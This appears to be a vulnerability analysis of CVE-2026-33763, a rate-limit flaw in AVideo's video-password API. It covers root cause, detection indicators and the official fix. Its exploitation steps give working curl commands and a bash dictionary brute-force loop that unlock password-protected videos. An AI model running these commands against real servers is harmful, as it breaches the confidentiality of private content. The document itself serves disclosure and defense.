CVE-2026-33763: 
PHP vulnerability analysis and mitigation

CVE-2026-33763 is an unauthenticated video password brute-force vulnerability in WWBN AVideo, affecting all versions up to and including 26.0. The get_api_video_password_is_correct API endpoint exposes a boolean oracle that allows any unauthenticated attacker to verify video passwords without any rate limiting, CAPTCHA, or authentication requirement. The vulnerability was disclosed on March 24, 2026, and published to the GitHub Advisory Database on March 26, 2026. It carries a CVSS v3.1 base score of 5.3 (Medium) (GitHub Advisory).

The root cause is classified as CWE-307 (Improper Restriction of Excessive Authentication Attempts). The vulnerable endpoint plugin/API/get.json.php?APIName=video_password_is_correct is routed through the get() dispatcher in plugin/API/API.php without any authentication enforcement, and the checkRateLimit() mechanism already present in the codebase is simply not applied to this function. The endpoint returns a JSON response with a passwordIsCorrect boolean field, creating a perfect oracle for automated brute-force attacks. Compounding the issue, video passwords are stored in plaintext (objects/video.php:523-527) and compared using PHP loose equality (==) rather than strict equality (===), which may introduce type-juggling bypass risks (GitHub Advisory, AVideo Security Advisory).

Successful exploitation allows an unauthenticated attacker to bypass access controls on any password-protected video hosted on the platform, potentially exposing commercially sensitive, private, or restricted content. Because video passwords are typically simple shared secrets rather than per-user credentials, common dictionary attacks are highly likely to succeed rapidly. The impact is primarily a confidentiality breach; integrity and availability are not directly affected. There is no evidence of lateral movement potential beyond unauthorized video access (GitHub Advisory).

A working proof-of-concept exploit using curl and bash is publicly documented in the official security advisory, making exploitation trivial for any attacker with basic scripting skills. The exploit requires no authentication, no special privileges, and no user interaction, and can test thousands of passwords per second against any video ID. No in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.044% (0.000440), indicating a currently low but non-negligible probability of exploitation in the near term (GitHub Advisory, AVideo Security Advisory).

1. Reconnaissance: Identify an AVideo instance (version ≤ 26.0) accessible over the network. Enumerate video IDs by querying the API: curl -s "http://TARGET/plugin/API/get.json.php?APIName=video&videos_id=1" | jq '.response.rows[0].video_password' — a non-empty value confirms the video is password-protected.
2. Confirm the boolean oracle: Send a test request with a known-wrong password to verify the oracle behavior: curl -s "http://TARGET/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess" — expected response: {"response":{"videos_id":1,"passwordIsCorrect":false},"error":false}.
3. Brute-force the password: Iterate through a password dictionary with no rate limiting encountered:

for pw in password 123456 secret admin test video1 qwerty; do
  result=$(curl -s "http://TARGET/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw" | jq -r '.response.passwordIsCorrect')
  echo "$pw: $result"
  [ "$result" = "true" ] && echo "FOUND: $pw" && break
done

4. Unlock and access the video: Use the discovered password to authenticate and store a session cookie: curl -s "http://TARGET/view/video.php?v=1&video_password=DISCOVERED_PASSWORD" -c cookies.txt — the password is stored in the session, granting persistent access to the protected content (AVideo Security Advisory).

• Network: High-volume GET requests to /plugin/API/get.json.php?APIName=video_password_is_correct from a single IP or small set of IPs in a short time window; sequential or dictionary-ordered values in the video_password parameter across requests.
• Logs: Web server access logs showing hundreds or thousands of requests to the video_password_is_correct endpoint within minutes, often followed by a single request to /view/video.php with a video_password parameter (indicating successful discovery).
• Logs: Requests to /plugin/API/get.json.php?APIName=video enumerating videos_id values immediately preceding brute-force activity, indicating reconnaissance.
• Network: Subsequent session cookie usage (-c cookies.txt pattern) accessing protected video content from the same source IP after a successful brute-force sequence (AVideo Security Advisory).

The official fix (commit 01a0614) adds $this->checkRateLimit('video_password_check', 10, 300) to the get_api_video_password_is_correct function, limiting attempts to 10 per 5 minutes per IP. Administrators should update to a version of AVideo that includes this commit. As additional hardening, the advisory recommends migrating video passwords from plaintext storage to hashed storage using password_hash()/password_verify(), and replacing the loose equality comparison (==) with strict equality (===). Until a patched release is available, operators can apply network-level rate limiting via a WAF or reverse proxy on requests to the video_password_is_correct API endpoint (AVideo Patch Commit, GitHub Advisory).

The vulnerability was reported by a researcher credited as "offset" and published by the AVideo maintainer (DanielnetoDotCom) on March 24, 2026. The fix was committed promptly to the main repository. Coverage has appeared on automated vulnerability tracking platforms including VulDB, cvefeed.io, and radar.offseq.com, as well as a brief write-up on infinitsec.net, but no significant broader security community discussion or vendor statements beyond the advisory itself have been identified (GitHub Advisory).